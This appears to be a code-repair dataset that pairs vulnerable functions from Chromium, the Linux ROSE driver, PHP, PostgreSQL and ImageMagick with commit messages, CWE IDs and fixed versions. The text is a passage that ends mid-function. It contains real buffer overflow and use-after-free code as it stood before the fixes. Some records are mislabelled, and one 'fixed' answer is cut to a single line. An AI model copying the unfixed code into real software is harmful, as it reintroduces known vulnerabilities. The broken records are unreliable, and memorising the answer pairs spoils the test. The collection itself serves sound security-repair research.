GC_INNER void * GC_generic_malloc_ignore_off_page(size_t lb, int k) { void *result; size_t lg; size_t lb_rounded; word n_blocks; GC_bool init; DCL_LOCK_STATE; if (SMALL_OBJ(lb)) return(GC_generic_malloc((word)lb, k)); lg = ROUNDED_UP_GRANULES(lb); lb_rounded = GRANULES_TO_BYTES(lg); if (lb_rounded < lb) return((*GC_get_oom_fn())(lb)); n_blocks = OBJ_SZ_TO_BLOCKS(lb_rounded); init = GC_obj_kinds[k].ok_init; if (EXPECT(GC_have_errors, FALSE)) GC_print_all_errors(); GC_INVOKE_FINALIZERS(); LOCK(); result = (ptr_t)GC_alloc_large(ADD_SLOP(lb), k, IGNORE_OFF_PAGE); if (0 != result) { if (GC_debugging_started) { BZERO(result, n_blocks * HBLKSIZE); } else { # ifdef THREADS /* Clear any memory that might be used for GC descriptors */ /* before we release the lock. */ ((word *)result)[0] = 0; ((word *)result)[1] = 0; ((word *)result)[GRANULES_TO_WORDS(lg)-1] = 0; ((word *)result)[GRANULES_TO_WORDS(lg)-2] = 0; # endif } } GC_bytes_allocd += lb_rounded; if (0 == result) { GC_oom_func oom_fn = GC_oom_fn; UNLOCK(); return((*oom_fn)(lb)); } else { UNLOCK(); if (init && !GC_debugging_started) { BZERO(result, n_blocks * HBLKSIZE); } return(result); } }
169,879
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: bool SyncManager::Init( const FilePath& database_location, const WeakHandle<JsEventHandler>& event_handler, const std::string& sync_server_and_path, int sync_server_port, bool use_ssl, const scoped_refptr<base::TaskRunner>& blocking_task_runner, HttpPostProviderFactory* post_factory, ModelSafeWorkerRegistrar* registrar, browser_sync::ExtensionsActivityMonitor* extensions_activity_monitor, ChangeDelegate* change_delegate, const std::string& user_agent, const SyncCredentials& credentials, bool enable_sync_tabs_for_other_clients, sync_notifier::SyncNotifier* sync_notifier, const std::string& restored_key_for_bootstrapping, TestingMode testing_mode, Encryptor* encryptor, UnrecoverableErrorHandler* unrecoverable_error_handler, ReportUnrecoverableErrorFunction report_unrecoverable_error_function) { DCHECK(thread_checker_.CalledOnValidThread()); DCHECK(post_factory); DVLOG(1) << "SyncManager starting Init..."; std::string server_string(sync_server_and_path); return data_->Init(database_location, event_handler, server_string, sync_server_port, use_ssl, blocking_task_runner, post_factory, registrar, extensions_activity_monitor, change_delegate, user_agent, credentials, enable_sync_tabs_for_other_clients, sync_notifier, restored_key_for_bootstrapping, testing_mode, encryptor, unrecoverable_error_handler, report_unrecoverable_error_function); } Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default. BUG=none TEST= Review URL: https://chromiumcodereview.appspot.com/10443046 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-362
bool SyncManager::Init( const FilePath& database_location, const WeakHandle<JsEventHandler>& event_handler, const std::string& sync_server_and_path, int sync_server_port, bool use_ssl, const scoped_refptr<base::TaskRunner>& blocking_task_runner, HttpPostProviderFactory* post_factory, ModelSafeWorkerRegistrar* registrar, browser_sync::ExtensionsActivityMonitor* extensions_activity_monitor, ChangeDelegate* change_delegate, const std::string& user_agent, const SyncCredentials& credentials, sync_notifier::SyncNotifier* sync_notifier, const std::string& restored_key_for_bootstrapping, TestingMode testing_mode, Encryptor* encryptor, UnrecoverableErrorHandler* unrecoverable_error_handler, ReportUnrecoverableErrorFunction report_unrecoverable_error_function) { DCHECK(thread_checker_.CalledOnValidThread()); DCHECK(post_factory); DVLOG(1) << "SyncManager starting Init..."; std::string server_string(sync_server_and_path); return data_->Init(database_location, event_handler, server_string, sync_server_port, use_ssl, blocking_task_runner, post_factory, registrar, extensions_activity_monitor, change_delegate, user_agent, credentials, sync_notifier, restored_key_for_bootstrapping, testing_mode, encryptor, unrecoverable_error_handler, report_unrecoverable_error_function); }
170,792
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static int rose_parse_ccitt(unsigned char *p, struct rose_facilities_struct *facilities, int len) { unsigned char l, n = 0; char callsign[11]; do { switch (*p & 0xC0) { case 0x00: p += 2; n += 2; len -= 2; break; case 0x40: p += 3; n += 3; len -= 3; break; case 0x80: p += 4; n += 4; len -= 4; break; case 0xC0: l = p[1]; if (*p == FAC_CCITT_DEST_NSAP) { memcpy(&facilities->source_addr, p + 7, ROSE_ADDR_LEN); memcpy(callsign, p + 12, l - 10); callsign[l - 10] = '\0'; asc2ax(&facilities->source_call, callsign); } if (*p == FAC_CCITT_SRC_NSAP) { memcpy(&facilities->dest_addr, p + 7, ROSE_ADDR_LEN); memcpy(callsign, p + 12, l - 10); callsign[l - 10] = '\0'; asc2ax(&facilities->dest_call, callsign); } p += l + 2; n += l + 2; len -= l + 2; break; } } while (*p != 0x00 && len > 0); return n; } Commit Message: ROSE: prevent heap corruption with bad facilities When parsing the FAC_NATIONAL_DIGIS facilities field, it's possible for a remote host to provide more digipeaters than expected, resulting in heap corruption. Check against ROSE_MAX_DIGIS to prevent overflows, and abort facilities parsing on failure. Additionally, when parsing the FAC_CCITT_DEST_NSAP and FAC_CCITT_SRC_NSAP facilities fields, a remote host can provide a length of less than 10, resulting in an underflow in a memcpy size, causing a kernel panic due to massive heap corruption. A length of greater than 20 results in a stack overflow of the callsign array. Abort facilities parsing on these invalid length values. Signed-off-by: Dan Rosenberg <[email protected]> Cc: [email protected] Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-20
static int rose_parse_ccitt(unsigned char *p, struct rose_facilities_struct *facilities, int len) { unsigned char l, n = 0; char callsign[11]; do { switch (*p & 0xC0) { case 0x00: p += 2; n += 2; len -= 2; break; case 0x40: p += 3; n += 3; len -= 3; break; case 0x80: p += 4; n += 4; len -= 4; break; case 0xC0: l = p[1]; /* Prevent overflows*/ if (l < 10 || l > 20) return -1; if (*p == FAC_CCITT_DEST_NSAP) { memcpy(&facilities->source_addr, p + 7, ROSE_ADDR_LEN); memcpy(callsign, p + 12, l - 10); callsign[l - 10] = '\0'; asc2ax(&facilities->source_call, callsign); } if (*p == FAC_CCITT_SRC_NSAP) { memcpy(&facilities->dest_addr, p + 7, ROSE_ADDR_LEN); memcpy(callsign, p + 12, l - 10); callsign[l - 10] = '\0'; asc2ax(&facilities->dest_call, callsign); } p += l + 2; n += l + 2; len -= l + 2; break; } } while (*p != 0x00 && len > 0); return n; }
165,671
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void ForeignSessionHelper::TriggerSessionSync( JNIEnv* env, const JavaParamRef<jobject>& obj) { browser_sync::ProfileSyncService* service = ProfileSyncServiceFactory::GetInstance()->GetForProfile(profile_); if (!service) return; const syncer::ModelTypeSet types(syncer::SESSIONS); service->TriggerRefresh(types); } Commit Message: Prefer SyncService over ProfileSyncService in foreign_session_helper SyncService is the interface, ProfileSyncService is the concrete implementation. Generally no clients should need to use the conrete implementation - for one, testing will be much easier once everyone uses the interface only. Bug: 924508 Change-Id: Ia210665f8f02512053d1a60d627dea0f22758387 Reviewed-on: https://chromium-review.googlesource.com/c/1461119 Auto-Submit: Marc Treib <[email protected]> Commit-Queue: Yaron Friedman <[email protected]> Reviewed-by: Yaron Friedman <[email protected]> Cr-Commit-Position: refs/heads/master@{#630662} CWE ID: CWE-254
void ForeignSessionHelper::TriggerSessionSync( JNIEnv* env, const JavaParamRef<jobject>& obj) { syncer::SyncService* service = ProfileSyncServiceFactory::GetSyncServiceForProfile(profile_); if (!service) return; service->TriggerRefresh({syncer::SESSIONS}); }
172,059
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops) { while (elements-- > 0) { zval *key, *data, **old_data; ALLOC_INIT_ZVAL(key); if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); return 0; } if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) { zval_dtor(key); FREE_ZVAL(key); return 0; } ALLOC_INIT_ZVAL(data); if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); zval_dtor(data); FREE_ZVAL(data); return 0; } if (!objprops) { switch (Z_TYPE_P(key)) { case IS_LONG: if (zend_hash_index_find(ht, Z_LVAL_P(key), (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_hash_index_update(ht, Z_LVAL_P(key), &data, sizeof(data), NULL); break; case IS_STRING: if (zend_symtable_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_symtable_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof(data), NULL); break; } } else { /* object properties should include no integers */ convert_to_string(key); if (zend_symtable_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof data, NULL); } zval_dtor(key); FREE_ZVAL(key); if (elements && *(*p-1) != ';' && *(*p-1) != '}') { (*p)--; return 0; } } Commit Message: Fix for bug #68710 (Use After Free Vulnerability in PHP's unserialize()) CWE ID:
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops) { while (elements-- > 0) { zval *key, *data, **old_data; ALLOC_INIT_ZVAL(key); if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); return 0; } if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) { zval_dtor(key); FREE_ZVAL(key); return 0; } ALLOC_INIT_ZVAL(data); if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); zval_dtor(data); FREE_ZVAL(data); return 0; } if (!objprops) { switch (Z_TYPE_P(key)) { case IS_LONG: if (zend_hash_index_find(ht, Z_LVAL_P(key), (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_hash_index_update(ht, Z_LVAL_P(key), &data, sizeof(data), NULL); break; case IS_STRING: if (zend_symtable_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_symtable_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof(data), NULL); break; } } else { /* object properties should include no integers */ convert_to_string(key); if (zend_hash_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof data, NULL); } zval_dtor(key); FREE_ZVAL(key); if (elements && *(*p-1) != ';' && *(*p-1) != '}') { (*p)--; return 0; } }
166,743
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void ObserverOnLogoAvailable(LogoObserver* observer, bool from_cache, LogoCallbackReason type, const base::Optional<Logo>& logo) { switch (type) { case LogoCallbackReason::DISABLED: case LogoCallbackReason::CANCELED: case LogoCallbackReason::FAILED: break; case LogoCallbackReason::REVALIDATED: break; case LogoCallbackReason::DETERMINED: observer->OnLogoAvailable(logo ? &logo.value() : nullptr, from_cache); break; } if (!from_cache) { observer->OnObserverRemoved(); } } Commit Message: Local NTP: add smoke tests for doodles Split LogoService into LogoService interface and LogoServiceImpl to make it easier to provide fake data to the test. Bug: 768419 Cq-Include-Trybots: master.tryserver.chromium.linux:closure_compilation Change-Id: I84639189d2db1b24a2e139936c99369352bab587 Reviewed-on: https://chromium-review.googlesource.com/690198 Reviewed-by: Sylvain Defresne <[email protected]> Reviewed-by: Marc Treib <[email protected]> Commit-Queue: Chris Pickel <[email protected]> Cr-Commit-Position: refs/heads/master@{#505374} CWE ID: CWE-119
void ObserverOnLogoAvailable(LogoObserver* observer,
171,956
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: DecodeTime(char *str, int *tmask, struct tm * tm, fsec_t *fsec) { char *cp; *tmask = DTK_TIME_M; tm->tm_hour = strtol(str, &cp, 10); if (*cp != ':') return -1; str = cp + 1; tm->tm_min = strtol(str, &cp, 10); if (*cp == '\0') { tm->tm_sec = 0; *fsec = 0; } else if (*cp != ':') return -1; else { str = cp + 1; tm->tm_sec = strtol(str, &cp, 10); if (*cp == '\0') *fsec = 0; else if (*cp == '.') { #ifdef HAVE_INT64_TIMESTAMP char fstr[MAXDATELEN + 1]; /* * OK, we have at most six digits to work with. Let's construct a * string and then do the conversion to an integer. */ strncpy(fstr, (cp + 1), 7); strcpy(fstr + strlen(fstr), "000000"); *(fstr + 6) = '\0'; *fsec = strtol(fstr, &cp, 10); #else str = cp; *fsec = strtod(str, &cp); #endif if (*cp != '\0') return -1; } else return -1; } /* do a sanity check */ #ifdef HAVE_INT64_TIMESTAMP if (tm->tm_hour < 0 || tm->tm_min < 0 || tm->tm_min > 59 || tm->tm_sec < 0 || tm->tm_sec > 59 || *fsec >= USECS_PER_SEC) return -1; #else if (tm->tm_hour < 0 || tm->tm_min < 0 || tm->tm_min > 59 || tm->tm_sec < 0 || tm->tm_sec > 59 || *fsec >= 1) return -1; #endif return 0; } /* DecodeTime() */ Commit Message: Fix handling of wide datetime input/output. Many server functions use the MAXDATELEN constant to size a buffer for parsing or displaying a datetime value. It was much too small for the longest possible interval output and slightly too small for certain valid timestamp input, particularly input with a long timezone name. The long input was rejected needlessly; the long output caused interval_out() to overrun its buffer. ECPG's pgtypes library has a copy of the vulnerable functions, which bore the same vulnerabilities along with some of its own. In contrast to the server, certain long inputs caused stack overflow rather than failing cleanly. Back-patch to 8.4 (all supported versions). Reported by Daniel Schüssler, reviewed by Tom Lane. Security: CVE-2014-0063 CWE ID: CWE-119
DecodeTime(char *str, int *tmask, struct tm * tm, fsec_t *fsec) { char *cp; *tmask = DTK_TIME_M; tm->tm_hour = strtol(str, &cp, 10); if (*cp != ':') return -1; str = cp + 1; tm->tm_min = strtol(str, &cp, 10); if (*cp == '\0') { tm->tm_sec = 0; *fsec = 0; } else if (*cp != ':') return -1; else { str = cp + 1; tm->tm_sec = strtol(str, &cp, 10); if (*cp == '\0') *fsec = 0; else if (*cp == '.') { #ifdef HAVE_INT64_TIMESTAMP char fstr[7]; int i; cp++; /* * OK, we have at most six digits to care about. Let's construct a * string with those digits, zero-padded on the right, and then do * the conversion to an integer. * * XXX This truncates the seventh digit, unlike rounding it as do * the backend and the !HAVE_INT64_TIMESTAMP case. */ for (i = 0; i < 6; i++) fstr[i] = *cp != '\0' ? *cp++ : '0'; fstr[i] = '\0'; *fsec = strtol(fstr, &cp, 10); #else str = cp; *fsec = strtod(str, &cp); #endif if (*cp != '\0') return -1; } else return -1; } /* do a sanity check */ #ifdef HAVE_INT64_TIMESTAMP if (tm->tm_hour < 0 || tm->tm_min < 0 || tm->tm_min > 59 || tm->tm_sec < 0 || tm->tm_sec > 59 || *fsec >= USECS_PER_SEC) return -1; #else if (tm->tm_hour < 0 || tm->tm_min < 0 || tm->tm_min > 59 || tm->tm_sec < 0 || tm->tm_sec > 59 || *fsec >= 1) return -1; #endif return 0; } /* DecodeTime() */
166,465
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: int PrintPreviewUI::GetAvailableDraftPageCount() { return print_preview_data_service()->GetAvailableDraftPageCount( preview_ui_addr_str_); } Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI. BUG=144051 Review URL: https://chromiumcodereview.appspot.com/10870003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-200
int PrintPreviewUI::GetAvailableDraftPageCount() { return print_preview_data_service()->GetAvailableDraftPageCount(id_); }
170,832
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: const char *string_of_NPNVariable(int variable) { const char *str; switch (variable) { #define _(VAL) case VAL: str = #VAL; break; _(NPNVxDisplay); _(NPNVxtAppContext); _(NPNVnetscapeWindow); _(NPNVjavascriptEnabledBool); _(NPNVasdEnabledBool); _(NPNVisOfflineBool); _(NPNVserviceManager); _(NPNVDOMElement); _(NPNVDOMWindow); _(NPNVToolkit); _(NPNVSupportsXEmbedBool); _(NPNVWindowNPObject); _(NPNVPluginElementNPObject); _(NPNVSupportsWindowless); #undef _ default: switch (variable & 0xff) { #define _(VAL, VAR) case VAL: str = #VAR; break _(10, NPNVserviceManager); _(11, NPNVDOMElement); _(12, NPNVDOMWindow); _(13, NPNVToolkit); #undef _ default: str = "<unknown variable>"; break; } break; } return str; } Commit Message: Support all the new variables added CWE ID: CWE-264
const char *string_of_NPNVariable(int variable) { const char *str; switch (variable) { #define _(VAL) case VAL: str = #VAL; break; _(NPNVxDisplay); _(NPNVxtAppContext); _(NPNVnetscapeWindow); _(NPNVjavascriptEnabledBool); _(NPNVasdEnabledBool); _(NPNVisOfflineBool); _(NPNVserviceManager); _(NPNVDOMElement); _(NPNVDOMWindow); _(NPNVToolkit); _(NPNVSupportsXEmbedBool); _(NPNVWindowNPObject); _(NPNVPluginElementNPObject); _(NPNVSupportsWindowless); _(NPNVprivateModeBool); _(NPNVsupportsAdvancedKeyHandling); #undef _ default: switch (variable & 0xff) { #define _(VAL, VAR) case VAL: str = #VAR; break _(10, NPNVserviceManager); _(11, NPNVDOMElement); _(12, NPNVDOMWindow); _(13, NPNVToolkit); #undef _ default: str = "<unknown variable>"; break; } break; } return str; }
165,865
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void PrintPreviewUI::OnPreviewDataIsAvailable(int expected_pages_count, int preview_request_id) { VLOG(1) << "Print preview request finished with " << expected_pages_count << " pages"; if (!initial_preview_start_time_.is_null()) { UMA_HISTOGRAM_TIMES("PrintPreview.InitialDisplayTime", base::TimeTicks::Now() - initial_preview_start_time_); UMA_HISTOGRAM_COUNTS("PrintPreview.PageCount.Initial", expected_pages_count); initial_preview_start_time_ = base::TimeTicks(); } base::StringValue ui_identifier(preview_ui_addr_str_); base::FundamentalValue ui_preview_request_id(preview_request_id); web_ui()->CallJavascriptFunction("updatePrintPreview", ui_identifier, ui_preview_request_id); } Commit Message: Print preview: Use an ID instead of memory pointer string in WebUI. BUG=144051 Review URL: https://chromiumcodereview.appspot.com/10870003 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-200
void PrintPreviewUI::OnPreviewDataIsAvailable(int expected_pages_count, int preview_request_id) { VLOG(1) << "Print preview request finished with " << expected_pages_count << " pages"; if (!initial_preview_start_time_.is_null()) { UMA_HISTOGRAM_TIMES("PrintPreview.InitialDisplayTime", base::TimeTicks::Now() - initial_preview_start_time_); UMA_HISTOGRAM_COUNTS("PrintPreview.PageCount.Initial", expected_pages_count); initial_preview_start_time_ = base::TimeTicks(); } base::FundamentalValue ui_identifier(id_); base::FundamentalValue ui_preview_request_id(preview_request_id); web_ui()->CallJavascriptFunction("updatePrintPreview", ui_identifier, ui_preview_request_id); }
170,838
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: bool CopyDirectory(const FilePath& from_path, const FilePath& to_path, bool recursive) { base::ThreadRestrictions::AssertIOAllowed(); DCHECK(to_path.value().find('*') == std::string::npos); DCHECK(from_path.value().find('*') == std::string::npos); char top_dir[PATH_MAX]; if (base::strlcpy(top_dir, from_path.value().c_str(), arraysize(top_dir)) >= arraysize(top_dir)) { return false; } FilePath real_to_path = to_path; if (PathExists(real_to_path)) { if (!AbsolutePath(&real_to_path)) return false; } else { real_to_path = real_to_path.DirName(); if (!AbsolutePath(&real_to_path)) return false; } FilePath real_from_path = from_path; if (!AbsolutePath(&real_from_path)) return false; if (real_to_path.value().size() >= real_from_path.value().size() && real_to_path.value().compare(0, real_from_path.value().size(), real_from_path.value()) == 0) return false; bool success = true; int traverse_type = FileEnumerator::FILES | FileEnumerator::SHOW_SYM_LINKS; if (recursive) traverse_type |= FileEnumerator::DIRECTORIES; FileEnumerator traversal(from_path, recursive, traverse_type); FileEnumerator::FindInfo info; FilePath current = from_path; if (stat(from_path.value().c_str(), &info.stat) < 0) { DLOG(ERROR) << "CopyDirectory() couldn't stat source directory: " << from_path.value() << " errno = " << errno; success = false; } struct stat to_path_stat; FilePath from_path_base = from_path; if (recursive && stat(to_path.value().c_str(), &to_path_stat) == 0 && S_ISDIR(to_path_stat.st_mode)) { from_path_base = from_path.DirName(); } DCHECK(recursive || S_ISDIR(info.stat.st_mode)); while (success && !current.empty()) { std::string suffix(&current.value().c_str()[from_path_base.value().size()]); if (!suffix.empty()) { DCHECK_EQ('/', suffix[0]); suffix.erase(0, 1); } const FilePath target_path = to_path.Append(suffix); if (S_ISDIR(info.stat.st_mode)) { if (mkdir(target_path.value().c_str(), info.stat.st_mode & 01777) != 0 && errno != EEXIST) { DLOG(ERROR) << "CopyDirectory() couldn't create directory: " << target_path.value() << " errno = " << errno; success = false; } } else if (S_ISREG(info.stat.st_mode)) { if (!CopyFile(current, target_path)) { DLOG(ERROR) << "CopyDirectory() couldn't create file: " << target_path.value(); success = false; } } else { DLOG(WARNING) << "CopyDirectory() skipping non-regular file: " << current.value(); } current = traversal.Next(); traversal.GetFindInfo(&info); } return success; } Commit Message: Fix creating target paths in file_util_posix CopyDirectory. BUG=167840 Review URL: https://chromiumcodereview.appspot.com/11773018 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176659 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-22
bool CopyDirectory(const FilePath& from_path, const FilePath& to_path, bool recursive) { base::ThreadRestrictions::AssertIOAllowed(); DCHECK(to_path.value().find('*') == std::string::npos); DCHECK(from_path.value().find('*') == std::string::npos); char top_dir[PATH_MAX]; if (base::strlcpy(top_dir, from_path.value().c_str(), arraysize(top_dir)) >= arraysize(top_dir)) { return false; } FilePath real_to_path = to_path; if (PathExists(real_to_path)) { if (!AbsolutePath(&real_to_path)) return false; } else { real_to_path = real_to_path.DirName(); if (!AbsolutePath(&real_to_path)) return false; } FilePath real_from_path = from_path; if (!AbsolutePath(&real_from_path)) return false; if (real_to_path.value().size() >= real_from_path.value().size() && real_to_path.value().compare(0, real_from_path.value().size(), real_from_path.value()) == 0) return false; bool success = true; int traverse_type = FileEnumerator::FILES | FileEnumerator::SHOW_SYM_LINKS; if (recursive) traverse_type |= FileEnumerator::DIRECTORIES; FileEnumerator traversal(from_path, recursive, traverse_type); FileEnumerator::FindInfo info; FilePath current = from_path; if (stat(from_path.value().c_str(), &info.stat) < 0) { DLOG(ERROR) << "CopyDirectory() couldn't stat source directory: " << from_path.value() << " errno = " << errno; success = false; } struct stat to_path_stat; FilePath from_path_base = from_path; if (recursive && stat(to_path.value().c_str(), &to_path_stat) == 0 && S_ISDIR(to_path_stat.st_mode)) { from_path_base = from_path.DirName(); } DCHECK(recursive || S_ISDIR(info.stat.st_mode)); while (success && !current.empty()) { // current is the source path, including from_path, so append // the suffix after from_path to to_path to create the target_path. FilePath target_path(to_path); if (from_path_base != current) { if (!from_path_base.AppendRelativePath(current, &target_path)) { success = false; break; } } if (S_ISDIR(info.stat.st_mode)) { if (mkdir(target_path.value().c_str(), info.stat.st_mode & 01777) != 0 && errno != EEXIST) { DLOG(ERROR) << "CopyDirectory() couldn't create directory: " << target_path.value() << " errno = " << errno; success = false; } } else if (S_ISREG(info.stat.st_mode)) { if (!CopyFile(current, target_path)) { DLOG(ERROR) << "CopyDirectory() couldn't create file: " << target_path.value(); success = false; } } else { DLOG(WARNING) << "CopyDirectory() skipping non-regular file: " << current.value(); } current = traversal.Next(); traversal.GetFindInfo(&info); } return success; }
171,409
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: ModuleExport size_t RegisterMPCImage(void) { MagickInfo *entry; entry=SetMagickInfo("CACHE"); entry->description=ConstantString("Magick Persistent Cache image format"); entry->module=ConstantString("MPC"); entry->stealth=MagickTrue; (void) RegisterMagickInfo(entry); entry=SetMagickInfo("MPC"); entry->decoder=(DecodeImageHandler *) ReadMPCImage; entry->encoder=(EncodeImageHandler *) WriteMPCImage; entry->magick=(IsImageFormatHandler *) IsMPC; entry->description=ConstantString("Magick Persistent Cache image format"); entry->module=ConstantString("MPC"); (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); } Commit Message: ... CWE ID: CWE-20
ModuleExport size_t RegisterMPCImage(void) { MagickInfo *entry; entry=SetMagickInfo("CACHE"); entry->description=ConstantString("Magick Persistent Cache image format"); entry->module=ConstantString("MPC"); entry->seekable_stream=MagickTrue; entry->stealth=MagickTrue; (void) RegisterMagickInfo(entry); entry=SetMagickInfo("MPC"); entry->decoder=(DecodeImageHandler *) ReadMPCImage; entry->encoder=(EncodeImageHandler *) WriteMPCImage; entry->magick=(IsImageFormatHandler *) IsMPC; entry->description=ConstantString("Magick Persistent Cache image format"); entry->seekable_stream=MagickTrue; entry->module=ConstantString("MPC"); (void) RegisterMagickInfo(entry); return(MagickImageCoderSignature); }
168,035
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static Image *ReadCUTImage(const ImageInfo *image_info,ExceptionInfo *exception) { Image *image,*palette; ImageInfo *clone_info; MagickBooleanType status; MagickOffsetType offset; size_t EncodedByte; unsigned char RunCount,RunValue,RunCountMasked; CUTHeader Header; CUTPalHeader PalHeader; ssize_t depth; ssize_t i,j; ssize_t ldblk; unsigned char *BImgBuff=NULL,*ptrB; PixelPacket *q; /* Open image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); if (image_info->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s", image_info->filename); assert(exception != (ExceptionInfo *) NULL); assert(exception->signature == MagickSignature); image=AcquireImage(image_info); status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception); if (status == MagickFalse) { image=DestroyImageList(image); return((Image *) NULL); } /* Read CUT image. */ palette=NULL; clone_info=NULL; Header.Width=ReadBlobLSBShort(image); Header.Height=ReadBlobLSBShort(image); Header.Reserved=ReadBlobLSBShort(image); if (Header.Width==0 || Header.Height==0 || Header.Reserved!=0) CUT_KO: ThrowReaderException(CorruptImageError,"ImproperImageHeader"); /*---This code checks first line of image---*/ EncodedByte=ReadBlobLSBShort(image); RunCount=(unsigned char) ReadBlobByte(image); RunCountMasked=RunCount & 0x7F; ldblk=0; while((int) RunCountMasked!=0) /*end of line?*/ { i=1; if((int) RunCount<0x80) i=(ssize_t) RunCountMasked; offset=SeekBlob(image,TellBlob(image)+i,SEEK_SET); if (offset < 0) ThrowReaderException(CorruptImageError,"ImproperImageHeader"); if(EOFBlob(image) != MagickFalse) goto CUT_KO; /*wrong data*/ EncodedByte-=i+1; ldblk+=(ssize_t) RunCountMasked; RunCount=(unsigned char) ReadBlobByte(image); if(EOFBlob(image) != MagickFalse) goto CUT_KO; /*wrong data: unexpected eof in line*/ RunCountMasked=RunCount & 0x7F; } if(EncodedByte!=1) goto CUT_KO; /*wrong data: size incorrect*/ i=0; /*guess a number of bit planes*/ if(ldblk==(int) Header.Width) i=8; if(2*ldblk==(int) Header.Width) i=4; if(8*ldblk==(int) Header.Width) i=1; if(i==0) goto CUT_KO; /*wrong data: incorrect bit planes*/ depth=i; image->columns=Header.Width; image->rows=Header.Height; image->depth=8; image->colors=(size_t) (GetQuantumRange(1UL*i)+1); if (image_info->ping) goto Finish; /* ----- Do something with palette ----- */ if ((clone_info=CloneImageInfo(image_info)) == NULL) goto NoPalette; i=(ssize_t) strlen(clone_info->filename); j=i; while(--i>0) { if(clone_info->filename[i]=='.') { break; } if(clone_info->filename[i]=='/' || clone_info->filename[i]=='\\' || clone_info->filename[i]==':' ) { i=j; break; } } (void) CopyMagickString(clone_info->filename+i,".PAL",(size_t) (MaxTextExtent-i)); if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { (void) CopyMagickString(clone_info->filename+i,".pal",(size_t) (MaxTextExtent-i)); if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { clone_info->filename[i]='\0'; if((clone_info->file=fopen_utf8(clone_info->filename,"rb"))==NULL) { clone_info=DestroyImageInfo(clone_info); clone_info=NULL; goto NoPalette; } } } if( (palette=AcquireImage(clone_info))==NULL ) goto NoPalette; status=OpenBlob(clone_info,palette,ReadBinaryBlobMode,exception); if (status == MagickFalse) { ErasePalette: palette=DestroyImage(palette); palette=NULL; goto NoPalette; } if(palette!=NULL) { (void) ReadBlob(palette,2,(unsigned char *) PalHeader.FileId); if(strncmp(PalHeader.FileId,"AH",2) != 0) goto 